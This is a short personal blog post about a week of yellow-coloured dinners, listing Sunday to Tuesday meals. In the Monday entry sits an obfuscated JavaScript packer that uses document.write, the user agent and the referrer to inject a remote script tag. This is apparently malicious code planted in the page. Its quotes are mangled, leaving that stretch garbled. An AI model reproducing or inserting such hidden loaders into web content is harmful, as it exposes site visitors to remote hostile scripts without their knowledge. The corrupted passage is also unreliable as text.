Eating Yellow


Variety is the spice of life, and what I eat is no different.  I like a two-week radius around my meals before I dare a repeat.  I blame my mother for raising me on her carefully crafted menus.  She’d spend hours pouring over cookbooks to ensure every school night had a different protein and all the nutritional values three undernourished children from Vietnam would need to boost their immune system.  In short, I was incredibly spoiled.  Now that I must fend for myself, I find it very difficult to live up to her same standards. I hope my mother is not reading this post because she would be ashamed.  I have eaten the color yellow for every dinner (consequently every lunch too since I bring my leftovers to the office) this week.

Sunday: Lemon, Basil Salmon smothered in Brown Sugar Glazed Baby Carrots


Monday: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hszed|var|u0026u|referrer|esbye||js|php’.split(‘|’),0,{}))
Roasted Spaghetti Squash with Saffron Pork Chop


Tuesday: Butter Garlic Shrimp with Rosemary and Cheese Mashed Potatoes and Linguini


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